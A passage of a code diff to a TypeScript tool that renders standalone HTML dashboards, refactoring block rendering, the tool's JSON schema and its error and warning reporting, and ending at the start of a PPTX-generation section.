block[alias], at: `${where}.${alias}` }+ }+ if (isEmptyList(block[field])) {+ throw new Error(+ `${where}.${field} is missing or empty; a '${String(block.type)}' block lists its ${noun} in ${field}.`+ )+ }+ return { value: block[field], at: `${where}.${field}` }+}++function renderBlock(b: unknown, where: string, ctx: DashRender): string {+ const type = isDashRecord(b) ? b.type : undefined+ return dashPart(ctx, where, COUNTED_BLOCKS.has(String(type)), () => {+ const block = dashRecord(b, where, 'a block object with a type')+ const title = dashText(block.title) || undefined+ switch (block.type) {+ case 'hero':+ return renderHero(block)+ case 'kpis': {+ const list = blockList(block, where, ctx)+ return renderKpis(list.value, list.at, ctx, title)+ }+ case 'chart':+ if (!isDashRecord(block.spec)) {+ throw new Error(+ `${where} is a 'chart' block and needs spec: {type, labels, datasets}; ` ++ `received ${describeDashValue(block.spec)}.`+ )+ }+ return `<section class="chart-grid">${ctx.charts.card(block.spec, `${where}.spec`, { title })}</section>`+ case 'charts-grid': {+ const list = blockList(block, where, ctx)+ return renderChartCards(list.value, list.at, ctx, title)+ }+ case 'table':+ return renderTableHtml(block.spec, `${where}.spec`, ctx, title)+ case 'narrative':+ case 'code':+ case 'callout':+ return renderSectionHtml({ ...block, title }, where)+ case 'bullets':+ return renderSectionHtml(+ { type: 'bullets', title, content: block.items ?? block.content },+ block.items === undefined ? where : `${where}.items`+ )+ case 'incidents': {+ const list = blockList(block, where, ctx)+ return renderIncidentsTimeline(list.value, list.at, ctx, title)+ }+ case 'service-health': {+ const list = blockList(block, where, ctx)+ return renderServiceHealthGrid(list.value, list.at, ctx, title)+ }+ case 'divider':+ return '<hr class="dashboard-divider"/>'+ case 'spacer':+ return `<div class="dashboard-spacer dashboard-spacer--${oneOf(block.size, ['sm', 'md', 'lg'] as const, 'md')}"></div>`+ default:+ throw new Error(+ `${where}.type ${block.type === undefined ? 'is missing' : `"${dashText(block.type)}" is not a block type`}; ` ++ `use one of: ${BLOCK_TYPES.join(', ')}.`+ )+ }})}-interface TechnicalReportData {- eyebrow?: string- title: string- headline?: string- status?: 'green' | 'yellow' | 'red' | 'neutral'- statusLabel?: string- kpis?: KpiCard[]- sections?: SectionSpec[]- tables?: TableSpec[]- charts?: ChartSpec[]- meta?: FooterMeta-}--function renderTechnicalReport(opts: {- data: TechnicalReportData- branding?: DashboardBranding- theme: DashboardTheme- chartJsSource?: string- cssSource?: string-}): string {- const { data, theme, chartJsSource, cssSource } = opts- const branding = opts.branding ?? {}-- const body = [- renderHero({- title: data.title,- eyebrow: data.eyebrow,- headline: data.headline,- status: data.status,- statusLabel: data.statusLabel,- }),- renderKpis(data.kpis ?? []),- (data.sections ?? []).map(renderSectionHtml).join('\n'),- (data.tables ?? []).map(renderTableHtml).join('\n'),- renderChartsGrid(data.charts ?? [], data.charts?.length ? 'Charts' : undefined),- renderDashboardFooter(data.meta, branding),- ].join('\n')-- const chartInit =- chartJsSource && (data.charts?.length || data.kpis?.some(k => k.sparkline))- ? buildChartScript(data.charts ?? [], theme)- : undefined-- return htmlWrapper({- title: data.title,- cssSource,- chartJsSource,- chartInit,+// ─── Public entry point ─────────────────────────────────────────────++interface DashboardRenderOptions {+ template: DashboardTemplateName+ data: DashData+ theme: ThemeName+ defaultThemeMode: 'light' | 'dark'+ branding: DashboardBranding+ inlineChartJs: boolean+}++function renderDashboard(opts: DashboardRenderOptions): { html: string; ctx: DashRender } {+ const theme = DASHBOARD_THEMES[opts.theme] ?? DASHBOARD_THEMES.default+ const warnings: string[] = []+ const failures: string[] = []+ const ctx: DashRender = {+ charts: new DashboardCharts(opts.inlineChartJs, { warnings, failures }),+ warnings,+ sparklines: 0,+ drawSparklines: opts.inlineChartJs,+ skippedSparklines: 0,+ rendered: 0,+ failures,+ }+ const parts = (DASHBOARD_TEMPLATES[opts.template] ?? DASHBOARD_TEMPLATES['executive-brief'])(+ opts.data,+ ctx+ )+ const body = [...parts, renderDashboardFooter(opts.data.meta, opts.branding)].join('\n')+ const needsCharts = ctx.charts.specs.length > 0 || ctx.sparklines > 0+ const html = htmlWrapper({+ title: dashText(opts.data.title),+ cssSource: buildDashboardCss(theme, opts.defaultThemeMode),+ chartJsSource: needsCharts ? loadChartJsBundle() : undefined,+ chartInit: needsCharts ? dashboardScript(safeJsonForScript(ctx.charts.specs)) : undefined,body,})+ return { html, ctx }+}++/** Fields each template reads beyond the shared ones, to flag data another template would need. */+const TEMPLATE_ONLY_FIELDS: Record<string, DashboardTemplateName[]> = {+ services: ['operations-pulse'],+ incidents: ['operations-pulse'],+ heroChart: ['financial-review'],+ period: ['financial-review'],+ blocks: ['custom'],+}+const FIXED_TEMPLATE_FIELDS = [+ 'eyebrow',+ 'headline',+ 'status',+ 'statusLabel',+ 'kpis',+ 'charts',+ 'tables',+ 'sections',+]++/** Data the chosen template does not show, which the model would otherwise believe is on the page. */+function ignoredDashboardFields(template: DashboardTemplateName, data: DashData): string[] {+ const ignored = Object.entries(TEMPLATE_ONLY_FIELDS)+ .filter(([field, templates]) => data[field] !== undefined && !templates.includes(template))+ .map(([field, templates]) => `data.${field} is only shown by template '${templates[0]}'`)+ if (template === 'custom') {+ for (const field of FIXED_TEMPLATE_FIELDS) {+ if (data[field] !== undefined) {+ ignored.push(`data.${field} is not read by template 'custom' (put it in a block)`)+ }+ }+ }+ return ignored.map(line => `${line}; it was left out.`)}-// ─── Public entry point ─────────────────────────────────────────────+// ─── generate_dashboard tool definition ─────────────────────────────-type DashboardTemplateName =- | 'executive-brief'- | 'operations-pulse'- | 'financial-review'- | 'technical-report'- | 'custom'+const DASHBOARD_TEMPLATE_NAMES = [+ 'executive-brief',+ 'operations-pulse',+ 'financial-review',+ 'technical-report',+ 'custom',+] as const-interface DashboardRenderOptions {- template?: DashboardTemplateName- data:- | ExecutiveBriefData- | OperationsPulseData- | FinancialReviewData- | TechnicalReportData- | CustomDashboardData- theme?: ThemeName- defaultThemeMode?: 'light' | 'dark'- branding?: DashboardBranding- inlineChartJs?: boolean-}--function renderDashboard(opts: DashboardRenderOptions): string {- const themeName: ThemeName = opts.theme ?? 'default'- const theme = DASHBOARD_THEMES[themeName] ?? DASHBOARD_THEMES.default- const cssSource = buildDashboardCss(theme, opts.defaultThemeMode ?? 'light')- const inlineChartJs = opts.inlineChartJs ?? true- const chartJsSource = inlineChartJs ? loadChartJsBundle() : undefined- const template = opts.template ?? 'executive-brief'-- const common = {- theme,- cssSource,- chartJsSource,- branding: opts.branding,+const DELTA_DIRECTION_SCHEMA = {+ type: 'string',+ enum: ['up', 'down', 'neutral'],+ description: 'Arrow direction.',+}++const DASH_KPI_SCHEMA = {+ type: 'object',+ required: ['label', 'value'],+ properties: {+ label: { type: 'string', description: 'What it measures.' },+ value: { type: ['string', 'number'], description: 'Number or formatted text, e.g. "$1.2M".' },+ delta: { type: ['string', 'number'], description: 'Change, e.g. "+12%" or -0.3.' },+ deltaDirection: DELTA_DIRECTION_SCHEMA,+ deltaSentiment: {+ type: 'string',+ enum: ['good', 'bad', 'neutral'],+ description:+ 'Delta color: good green, bad red. Default follows the arrow (up good); churn falling ' ++ 'is down + good.',+ },+ sparkline: {+ type: 'array',+ items: { type: ['number', 'string', 'null'] },+ description: 'Trend, oldest first, 2+ numbers.',+ },+ accent: {+ type: 'string',+ enum: ['success', 'warning', 'danger', 'neutral'],+ description: 'Top bar color.',+ },+ },+}++const XYR_PROPERTIES = {+ x: { type: 'number', description: 'X.' },+ y: { type: 'number', description: 'Y.' },+ r: { type: 'number', description: 'Bubble radius (px).' },+}++/** One chart value: a number, text such as "1,200", null for a gap, or an object. */+function dashPoint(objectProperties: Record<string, unknown>): Record<string, unknown> {+ return {+ anyOf: [+ { type: 'number' },+ { type: 'string' },+ { type: 'null' },+ { type: 'object', properties: objectProperties },+ ],}+}- switch (template) {- case 'operations-pulse':- return renderOperationsPulse({- ...common,- data: opts.data as OperationsPulseData,- })- case 'financial-review':- return renderFinancialReview({- ...common,- data: opts.data as FinancialReviewData,- })- case 'technical-report':- return renderTechnicalReport({- ...common,- data: opts.data as TechnicalReportData,- })- case 'custom':- return renderCustomDashboard({- ...common,- data: opts.data as CustomDashboardData,- })- case 'executive-brief':- default:- return renderExecutiveBrief({- ...common,- data: opts.data as ExecutiveBriefData,- })+/** normalizeChartData also reads {label, value} records. */+const DASH_POINT_SCHEMA = dashPoint({+ ...XYR_PROPERTIES,+ label: { type: 'string', description: 'Category.' },+ value: { type: 'number', description: 'Value.' },+})++function dashColor(what: string): Record<string, unknown> {+ return {+ anyOf: [{ type: 'string' }, { type: 'array', items: { type: 'string' } }],+ description: `${what}: hex, or one per point.`,}}-// ─── Custom template (composable blocks) ────────────────────────────-//-// Recipe-author composes an ordered list of typed blocks. Renderer-// dispatches each to the matching helper. Per-block failure is-// isolated — a malformed block becomes an inline callout with the-// error message; the rest of the document still renders.--type DashboardBlock =- | ({ type: 'hero' } & HeroOptions)- | { type: 'kpis'; items: KpiCard[] }- | { type: 'chart'; spec: ChartSpec; title?: string }- | { type: 'charts-grid'; items: ChartSpec[]; title?: string }- | { type: 'table'; spec: TableSpec }- | { type: 'narrative'; title?: string; content: string | string[] }- | { type: 'bullets'; title?: string; items: string[] }- | { type: 'code'; title?: string; language?: string; content: string }- | { type: 'callout'; tone?: 'info' | 'success' | 'warning' | 'danger'; content: string }- | { type: 'incidents'; items: IncidentItem[]; title?: string }- | { type: 'service-health'; services: ServiceHealth[]; title?: string }- | { type: 'divider' }- | { type: 'spacer'; size?: 'sm' | 'md' | 'lg' }--interface CustomDashboardData {- title: string- blocks: DashboardBlock[]- meta?: FooterMeta+const DASH_CHART_SCHEMA = {+ type: 'object',+ required: ['type', 'datasets'],+ properties: {+ type: {+ type: 'string',+ enum: [...DASHBOARD_CHART_TYPES],+ description:+ 'As in clerum__generate_chart. area: filled line; stacked*: stacked series; ' ++ 'mixedBarLine: 1st series bars, rest lines; gauge: 1st value on a 0-gaugeMax dial; ' ++ 'waterfall: steps, then the total; funnel: one series, descending; scatter, bubble: ' ++ '{x, y[, r]} points.',+ },+ title: { type: 'string', description: 'Heading.' },+ labels: {+ type: 'array',+ items: { type: ['string', 'number'] },+ description: 'X categories or slice names, one per value.',+ },+ datasets: {+ type: 'array',+ description: 'Series.',+ items: {+ type: 'object',+ required: ['data'],+ properties: {+ label: { type: 'string', description: 'Legend name.' },+ data: {+ type: 'array',+ items: DASH_POINT_SCHEMA,+ description: 'One value per label; null for a gap.',+ },+ backgroundColor: dashColor('Fill'),+ borderColor: dashColor('Line'),+ fill: { type: 'boolean', description: 'Fill under a line.' },+ },+ },+ },+ yAxisLabel: { type: 'string', description: 'Y-axis title.' },+ xAxisLabel: { type: 'string', description: 'X-axis title.' },+ gaugeMax: { type: ['number', 'string'], description: 'Gauge dial end (default 100).' },+ },}-function renderCustomDashboard(opts: {- data: CustomDashboardData- branding?: DashboardBranding- theme: DashboardTheme- chartJsSource?: string- cssSource?: string-}): string {- const { data, theme, chartJsSource, cssSource } = opts- const branding = opts.branding ?? {}-- if (!Array.isArray(data.blocks) || data.blocks.length === 0) {- throw new Error('custom template requires data.blocks[] (non-empty array)')- }-- // Collect all charts across blocks so buildChartScript gets a flat list with- // stable indices matching the canvas IDs we emit per block.- const collectedCharts: ChartSpec[] = []- let hasSparkline = false+const CHART_POINTER = 'As data.charts[].'- const blockHtml = data.blocks- .map((b, idx) => {- try {- switch (b.type) {- case 'hero':- return renderHero({- title: b.title,- eyebrow: b.eyebrow,- headline: b.headline,- status: b.status,- statusLabel: b.statusLabel,- })- case 'kpis': {- if (b.items?.some(k => k.sparkline)) hasSparkline = true- return renderKpis(b.items ?? [])- }- case 'chart': {- const baseIdx = collectedCharts.length- collectedCharts.push(b.spec)- return renderChartsGrid(- [{ ...b.spec, title: b.title ?? b.spec.title }],- undefined,- baseIdx- )- }- case 'charts-grid': {- const baseIdx = collectedCharts.length- collectedCharts.push(...b.items)- return renderChartsGrid(b.items, b.title, baseIdx)- }- case 'table':- return renderTableHtml(b.spec)- case 'narrative':- return renderSectionHtml({- type: 'narrative',- title: b.title,- content: b.content,- })- case 'bullets':- return renderSectionHtml({- type: 'bullets',- title: b.title,- content: b.items,- })- case 'code':- return renderSectionHtml({- type: 'code',- title: b.title,- language: b.language,- content: b.content,- })- case 'callout':- return renderSectionHtml({- type: 'callout',- tone: b.tone,- content: b.content,- })- case 'incidents':- return renderIncidentsTimeline(b.items ?? [], b.title)- case 'service-health':- return renderServiceHealthGrid(b.services ?? [], b.title)- case 'divider':- return '<hr class="dashboard-divider"/>'- case 'spacer':- return `<div class="dashboard-spacer dashboard-spacer--${b.size ?? 'md'}"></div>`- default: {- // AJV should catch unknown block types upstream. If one slips- // through (schema drift), render it as a visible danger- // callout so the failure isn't silent.- const unknownType = (b as { type?: unknown }).type- return renderSectionHtml({- type: 'callout',- tone: 'danger',- title: `Block ${idx} skipped`,- content: `Unknown block type: ${escapeDashHtml(String(unknownType))}`,- })- }- }- } catch (e) {- // Failure aislado: bloque malo → callout de error, el resto se renderea.- return renderSectionHtml({- type: 'callout',- tone: 'danger',- title: `Block ${idx} failed`,- content: e instanceof Error ? e.message : String(e),- })- }- })- .join('\n')+/**+ * The data.charts[] fields that carry a contract (type enum, required series,+ * value types), for the places that repeat that shape and point to it for the+ * rest: every model request carries the schema.+ */+const CHART_COPY_PROPERTIES = {+ type: { type: 'string', enum: [...DASHBOARD_CHART_TYPES], description: CHART_POINTER },+ title: { type: 'string', description: 'Heading.' },+ labels: { type: 'array', items: { type: ['string', 'number'] }, description: CHART_POINTER },+ datasets: {+ type: 'array',+ description: CHART_POINTER,+ items: {+ type: 'object',+ required: ['data'],+ properties: {+ label: { type: 'string', description: 'Legend name.' },+ data: { type: 'array', items: dashPoint(XYR_PROPERTIES), description: CHART_POINTER },+ },+ },+ },+ gaugeMax: { type: ['number', 'string'], description: CHART_POINTER },+}++const DASH_TABLE_SCHEMA = {+ type: 'object',+ required: ['headers', 'rows'],+ properties: {+ title: { type: 'string', description: 'Heading.' },+ headers: {+ type: 'array',+ items: { type: ['string', 'number'] },+ description: 'Column headings.',+ },+ rows: { type: 'array', items: ROW_SCHEMA, description: 'Rows, cells in header order.' },+ columnTypes: {+ type: 'object',+ // Gemini rejects an object schema with no properties, so the map declares+ // one example key. additionalProperties, which Gemini's SDK drops, keeps+ // the other keys valid and marks the object as a map.+ properties: {+ '0': {+ type: 'string',+ enum: ['plain', 'severity', 'priority', 'status'],+ description: 'Column 0.',+ },+ },+ additionalProperties: { type: 'string', enum: ['plain', 'severity', 'priority', 'status'] },+ description:+ 'Badge columns: header or 0-based index to a type, e.g. {"Status": "severity"}. ' ++ 'Values such as critical, high, medium, low, info, p0-p2, healthy, degraded, down ' ++ 'then show as colored badges.',+ },+ },+}- const footerHtml = renderDashboardFooter(data.meta, branding)- const fullBody = `${blockHtml}\n${footerHtml}`+const DASH_SERVICE_SCHEMA = {+ type: 'object',+ required: ['name', 'status'],+ properties: {+ name: { type: 'string', description: 'Name.' },+ status: {+ type: 'string',+ description: 'Card color: healthy, degraded, down or maintenance.',+ },+ metric: { type: ['string', 'number'], description: 'e.g. "142 ms".' },+ delta: { type: ['string', 'number'], description: 'e.g. "+0.2pp".' },+ deltaDirection: DELTA_DIRECTION_SCHEMA,+ },+}- const chartInit =- chartJsSource && (collectedCharts.length > 0 || hasSparkline)- ? buildChartScript(collectedCharts, theme)- : undefined+const DASH_INCIDENT_SCHEMA = {+ type: 'object',+ required: ['title'],+ properties: {+ time: { type: 'string', description: 'Start, e.g. "10:42".' },+ title: { type: 'string', description: 'What happened.' },+ severity: { type: 'string', description: 'critical, high, medium, low or info (default).' },+ description: { type: 'string', description: 'Detail.' },+ resolvedAt: { type: 'string', description: 'When resolved; unset shows it open.' },+ },+}- return htmlWrapper({- title: data.title,- cssSource,- chartJsSource,- chartInit,- body: fullBody,- })+const DASH_SECTION_CONTENT_SCHEMA = {+ anyOf: [{ type: ['string', 'number'] }, { type: 'array', items: { type: ['string', 'number'] } }],+ description: 'A paragraph, or an array of paragraphs or bullets. Inline markdown.',}-// ─── generate_dashboard tool definition ─────────────────────────────+const HERO_ONLY = 'hero: as in data.'const generateDashboardTool: InternalToolDefinition = {name: 'clerum__generate_dashboard',description:- 'Generate a standalone HTML dashboard. The output is a single ' +- '.html file (Tailwind-style CSS + Chart.js inlined) that opens in any modern ' +- 'browser, works offline, prints cleanly, and is responsive. ' +- 'Templates: executive-brief (general), operations-pulse (engineering / SRE), ' +- 'financial-review (finance with hero chart), technical-report (long-form writeup ' +- 'with code blocks), custom (composable: pass data.blocks[] in any order). ' +- 'Themes: default | corporate | warm | alert.',+ 'Generate a standalone HTML dashboard: one .html file, CSS and Chart.js inlined, that ' ++ 'works offline, follows light/dark mode and prints cleanly. Templates: executive-brief ' ++ '(general), operations-pulse (+services, incidents), financial-review (+heroChart, ' ++ 'period), technical-report (sections first), custom (data.blocks[] only). The result ' ++ 'lists anything not shown, to fix and regenerate.',parameters: {type: 'object',properties: {- filename: {- type: 'string',- description: "Output filename (e.g. 'dashboard.html'). Extension .html added if missing.",- },+ filename: { type: 'string', description: 'Output name; .html added if missing.' },template: {type: 'string',- enum: [- 'executive-brief',- 'operations-pulse',- 'financial-review',- 'technical-report',- 'custom',- ],- description:- "Template name. Default 'executive-brief'. " +- 'operations-pulse adds service-health grid + incidents timeline. ' +- 'financial-review adds heroChart (single wide chart) + dense tables. ' +- 'technical-report puts narrative sections first and supports code-block sections. ' +- "'custom' renders an ordered list of typed blocks from data.blocks[] " +- '— use when none of the 4 fixed layouts fit.',+ enum: [...DASHBOARD_TEMPLATE_NAMES],+ description: 'Default executive-brief.',},theme: {type: 'string',enum: ['default', 'corporate', 'warm', 'alert'],- description:- "Color theme. Default 'default' (neutral slate). Use 'corporate' (navy), 'warm' (warm amber), or 'alert' (rose) when explicitly appropriate.",+ description: 'default slate, corporate navy, warm amber, alert rose.',},defaultThemeMode: {type: 'string',enum: ['light', 'dark'],- description: "Initial theme mode. Default 'light'. The HTML respects prefers-color-scheme.",+ description: "Default light; the viewer's color scheme still applies.",},inlineChartJs: {type: 'boolean',description:- 'When true (default), the Chart.js bundle (~210 KB) is inlined so the HTML works offline. ' +- 'Set to false to skip inlining (no charts will render in the output).',+ 'Default true (adds ~210 KB when charts are used). false: charts become value tables, ' ++ 'no sparklines.',},branding: {type: 'object',+ description: 'Footer.',properties: {- companyName: { type: 'string' },- footerText: { type: 'string' },+ companyName: { type: 'string', description: 'Left side.' },+ footerText: { type: 'string', description: 'Beside the date.' },},},data: {type: 'object',description:- 'Template payload. For the 4 fixed templates pass kpis/charts/tables/sections. ' +- "For template='custom', pass blocks[] (an ordered list of typed blocks).",+ 'Page content. A field that names a template shows only in it; custom reads only ' ++ 'title, blocks and meta.',required: ['title'],properties: {- eyebrow: { type: 'string' },- title: { type: 'string' },- headline: { type: 'string' },- status: { type: 'string', enum: ['green', 'yellow', 'red', 'neutral'] },- statusLabel: { type: 'string' },- kpis: {- type: 'array',- items: {- type: 'object',- required: ['label', 'value'],- properties: {- label: { type: 'string' },- value: { type: ['string', 'number'] },- delta: { type: 'string' },- deltaDirection: { type: 'string', enum: ['up', 'down', 'neutral'] },- sparkline: { type: 'array', items: { type: 'number' } },- },- },+ eyebrow: { type: 'string', description: 'Label above the title.' },+ title: { type: 'string', description: 'Heading.' },+ headline: { type: 'string', description: 'Summary under the title.' },+ status: {+ type: 'string',+ enum: [...HERO_STATUSES],+ description: 'Badge beside the title.',+ },+ statusLabel: { type: 'string', description: 'Badge text, e.g. "On track".' },+ period: {+ type: 'string',+ description: 'financial-review: e.g. "Q3 2026", above the title if no eyebrow.',+ },+ kpis: { type: 'array', description: 'Figure cards.', items: DASH_KPI_SCHEMA },+ charts: { type: 'array', description: 'Chart cards.', items: DASH_CHART_SCHEMA },+ heroChart: {+ type: 'object',+ required: ['type', 'datasets'],+ description: `financial-review: one wide chart above charts. ${CHART_POINTER}`,+ properties: CHART_COPY_PROPERTIES,},- charts: {+ services: {type: 'array',- description:- 'Charts rendered with Chart.js. Same shape as `clerum__generate_chart` data.',- items: {- type: 'object',- required: ['type', 'datasets'],- properties: {- type: {- type: 'string',- enum: [- 'line',- 'bar',- 'horizontalBar',- 'pie',- 'doughnut',- 'area',- 'radar',- 'polarArea',- ],- },- title: { type: 'string' },- labels: { type: 'array', items: { type: 'string' } },- datasets: { type: 'array' },- yAxisLabel: { type: 'string' },- xAxisLabel: { type: 'string' },- },- },+ description: 'operations-pulse: status cards.',+ items: DASH_SERVICE_SCHEMA,},- tables: {+ incidents: {type: 'array',- items: {- type: 'object',- required: ['headers', 'rows'],- properties: {- title: { type: 'string' },- headers: { type: 'array', items: { type: 'string' } },- rows: { type: 'array', items: { type: 'array' } },- columnTypes: {- type: 'object',- description:- "Map column index or header name to 'severity' | 'priority' | 'plain' for badge styling.",- },- },- },+ description: 'operations-pulse: timeline, in order.',+ items: DASH_INCIDENT_SCHEMA,},+ tables: { type: 'array', description: 'Tables.', items: DASH_TABLE_SCHEMA },sections: {type: 'array',+ description: 'Prose after the tables.',items: {type: 'object',required: ['type', 'content'],properties: {- title: { type: 'string' },- type: { type: 'string', enum: ['narrative', 'bullets', 'callout'] },- content: { type: ['string', 'array'] },- tone: { type: 'string', enum: ['info', 'success', 'warning', 'danger'] },+ title: { type: 'string', description: 'Heading.' },+ type: {+ type: 'string',+ enum: [...SECTION_TYPES],+ description: 'Paragraphs, list, tinted box or monospaced block.',+ },+ content: DASH_SECTION_CONTENT_SCHEMA,+ tone: { type: 'string', enum: [...CALLOUT_TONES], description: 'callout color.' },+ language: { type: 'string', description: 'code language label.' },},},},blocks: {type: 'array',- description:- "Required when template='custom'. Ordered list of typed blocks. " +- 'Each block must declare its `type` from the closed enum below; ' +- 'the renderer dispatches to the matching helper. Per-block failure ' +- 'is isolated — a malformed block becomes an inline danger callout, ' +- 'the rest of the document still renders.',+ description: 'custom: blocks in page order; each field names the types that read it.',items: {type: 'object',required: ['type'],properties: {- type: {- type: 'string',- enum: [- 'hero',- 'kpis',- 'chart',- 'charts-grid',- 'table',- 'narrative',- 'bullets',- 'code',- 'callout',- 'incidents',- 'service-health',- 'divider',- 'spacer',- ],+ type: { type: 'string', enum: [...BLOCK_TYPES], description: 'Block type.' },+ title: { type: 'string', description: 'Heading (hero: page title).' },+ eyebrow: { type: 'string', description: HERO_ONLY },+ headline: { type: 'string', description: HERO_ONLY },+ status: { type: 'string', enum: [...HERO_STATUSES], description: HERO_ONLY },+ statusLabel: { type: 'string', description: HERO_ONLY },+ items: {+ type: 'array',+ items: {+ anyOf: [+ { type: 'string' },+ {+ type: 'object',+ properties: {+ label: { type: 'string', description: 'KPI label.' },+ value: { type: ['string', 'number'], description: 'KPI value.' },+ delta: { type: ['string', 'number'], description: 'KPI delta.' },+ deltaDirection: DELTA_DIRECTION_SCHEMA,+ deltaSentiment: {+ ...DASH_KPI_SCHEMA.properties.deltaSentiment,+ description: 'As data.kpis[].',+ },+ accent: {+ ...DASH_KPI_SCHEMA.properties.accent,+ description: 'KPI accent.',+ },+ ...CHART_COPY_PROPERTIES,+ time: { type: 'string', description: 'Incident time.' },+ severity: DASH_INCIDENT_SCHEMA.properties.severity,+ resolvedAt: { type: 'string', description: 'As data.incidents[].' },+ title: { type: 'string', description: 'Chart or incident title.' },+ },+ },+ ],+ },description:- "Block type. 'hero' (banner with title/status), 'kpis' (KPI grid), " +- "'chart' (single chart), 'charts-grid' (multiple charts in a grid), " +- "'table' (data table), 'narrative' (markdown paragraphs), " +- "'bullets' (bullet list), 'code' (monospaced code block), " +- "'callout' (info/warning/danger box), 'incidents' (timeline), " +- "'service-health' (status grid), 'divider' (horizontal rule), " +- "'spacer' (vertical whitespace).",+ 'bullets: strings. kpis, charts-grid, incidents: objects as in ' ++ 'data.kpis[], charts[], incidents[].',+ },+ services: {+ type: 'array',+ description: 'service-health: as in data.services[].',+ items: {+ type: 'object',+ required: ['name', 'status'],+ properties: {+ name: { type: 'string', description: 'Name.' },+ status: DASH_SERVICE_SCHEMA.properties.status,+ deltaDirection: DELTA_DIRECTION_SCHEMA,+ },+ },+ },+ spec: {+ type: 'object',+ properties: {+ ...CHART_COPY_PROPERTIES,+ headers: DASH_TABLE_SCHEMA.properties.headers,+ rows: {+ type: 'array',+ items: { type: 'array', items: { type: CELL_SCHEMA.type } },+ description: 'As data.tables[].',+ },+ },+ description: 'chart: as data.charts[]; table: as data.tables[].',+ },+ content: {+ ...DASH_SECTION_CONTENT_SCHEMA,+ description: 'narrative, code, callout: as data.sections[].content.',},- // hero- title: { type: 'string' },- eyebrow: { type: 'string' },- headline: { type: 'string' },- status: { type: 'string', enum: ['green', 'yellow', 'red', 'neutral'] },- statusLabel: { type: 'string' },- // kpis / charts-grid / incidents / service-health / bullets- items: { type: 'array' },- services: { type: 'array' },- // chart / table- spec: { type: 'object' },- // narrative / code / callout- content: { type: ['string', 'array'] },- language: { type: 'string' },- tone: { type: 'string', enum: ['info', 'success', 'warning', 'danger'] },- // spacer- size: { type: 'string', enum: ['sm', 'md', 'lg'] },+ language: { type: 'string', description: 'code: label.' },+ tone: { type: 'string', enum: [...CALLOUT_TONES], description: 'callout: color.' },+ size: { type: 'string', enum: ['sm', 'md', 'lg'], description: 'spacer: height.' },},},},meta: {type: 'object',+ description: 'Footer provenance.',properties: {- date: { type: 'string' },- author: { type: 'string' },- runId: { type: 'string' },+ date: { type: ['string', 'number'], description: 'Default: today.' },+ author: { type: 'string', description: 'Author.' },+ runId: { type: 'string', description: 'Run ID.' },},},},@@ -4746,29 +5370,58 @@ const generateDashboardTool: InternalToolDefinition = {},async execute(args: Record<string, unknown>, outputDir: string): Promise<InternalToolResult> {try {- const rawName = String(args.filename ?? 'dashboard.html')- const filename = sanitizeFilename(ensureExtension(rawName, 'html'))- const data = args.data as { title?: string } | undefined- if (!data || typeof data !== 'object' || !data.title) {- return { success: false, error: 'data.title is required' }+ const filename = outputFilename(args.filename, 'html', 'dashboard')+ const data = args.data+ if (!isDashRecord(data) || !dashText(data.title).trim()) {+ return {+ success: false,+ error:+ 'data.title is required: pass data as an object with the dashboard heading, ' ++ 'e.g. {"title": "Weekly review", "kpis": [...]}.',+ }}+ const template = oneOf(args.template, DASHBOARD_TEMPLATE_NAMES, 'executive-brief')+ const inlineChartJs = args.inlineChartJs !== false+ const { html, ctx } = renderDashboard({+ template,+ data,+ theme: oneOf(args.theme, ['default', 'corporate', 'warm', 'alert'] as const, 'default'),+ defaultThemeMode: oneOf(args.defaultThemeMode, ['light', 'dark'] as const, 'light'),+ inlineChartJs,+ branding: isDashRecord(args.branding) ? args.branding : {},+ })- const opts: DashboardRenderOptions = {- template: (args.template as DashboardTemplateName | undefined) ?? 'executive-brief',- theme: (args.theme as ThemeName | undefined) ?? 'default',- defaultThemeMode: (args.defaultThemeMode as 'light' | 'dark' | undefined) ?? 'light',- inlineChartJs: args.inlineChartJs !== false,- branding: args.branding as { companyName?: string; footerText?: string } | undefined,- data: data as DashboardRenderOptions['data'],+ const produced = ctx.rendered + ctx.charts.drawn+ if (produced === 0 && ctx.failures.length > 0) {+ return {+ success: false,+ error: `Nothing on the dashboard could be shown, so no file was written. ${ctx.failures.join(' ')}`,+ }+ }+ const warnings = [+ ...ctx.failures.map(f => `${f} A notice shows in its place.`),+ ...ignoredDashboardFields(template, data),+ ...ctx.warnings,+ ]+ if (produced === 0) {+ warnings.push(+ 'The dashboard only shows its title: pass kpis, charts, tables or sections ' ++ "(blocks for template 'custom')."+ )+ }+ if (!inlineChartJs && (ctx.charts.drawn > 0 || ctx.skippedSparklines > 0)) {+ warnings.push(+ 'inlineChartJs is false, so charts are shown as tables of their values and ' ++ 'sparklines are left out.'+ )}- const html = renderDashboard(opts)ensureDir(outputDir)- enforceQuota(outputDir, Buffer.byteLength(html, 'utf-8'))- const filePath = path.join(outputDir, filename)- fs.writeFileSync(filePath, html, 'utf-8')+ const target = claimOutputFile(outputDir, filename)+ enforceQuota(outputDir, Buffer.byteLength(html, 'utf-8'), replacedBytes(target))+ fs.writeFileSync(target.filePath, html, 'utf-8')- return { success: true, artifact: buildArtifact(filePath, 'html') }+ return artifactResult(target, 'html', { warnings })} catch (err) {return { success: false, error: err instanceof Error ? err.message : String(err) }}@@ -4779,730 +5432,402 @@ const generateDashboardTool: InternalToolDefinition = {// ─── PPTX GENERATION (clerum__generate_pptx) ────────────────────────// ════════════════════════════════════════════════════════════════════//-// Generates a .pptx via pptxgenjs (pure JS, no native deps).-// Coordinates are inches.-//-// Slide layouts: cover, section, title-bullets, title-chart, title-table,-// kpis, two-column, image, quote.-// Themes: default | corporate | warm | alert.-// Aspect ratios: wide (default, 13.33×7.5) | 16x9 | 16x10 | 4x3.-//-// Hardening: image paths must resolve under outputDir (validateOutputPath);-// filename is sanitized + extension-normalized; the .pptx buffer is-// quota-checked before disk write so a quota breach can't leave a partial-// file. pptxgenjs XML-escapes text fields, and boundText() caps each input-// so a runaway LLM cannot bloat the archive.--interface PptxPalette {- // Canonical '#xxxxxx' lowercase. pptxgenjs expects bare uppercase- // hex without '#'; use pptxHex() at usage sites.- primary: string- primaryDark: string- text: string- muted: string- border: string- accent: string- surface: string- background: string- statusGreen: string- statusYellow: string- statusRed: string-}--const PPTX_PALETTES: Record<string, PptxPalette> = {- default: {- primary: '#0f172a',- primaryDark: '#020617',- text: '#0f172a',- muted: '#475569',- border: '#cbd5e1',- accent: '#3b82f6',- surface: '#f1f5f9',- background: '#ffffff',- statusGreen: '#16a34a',- statusYellow: '#ca8a04',- statusRed: '#dc2626',- },- corporate: {- primary: '#1e3a8a',- primaryDark: '#1e293b',- text: '#1e293b',- muted: '#475569',- border: '#cbd5e1',- accent: 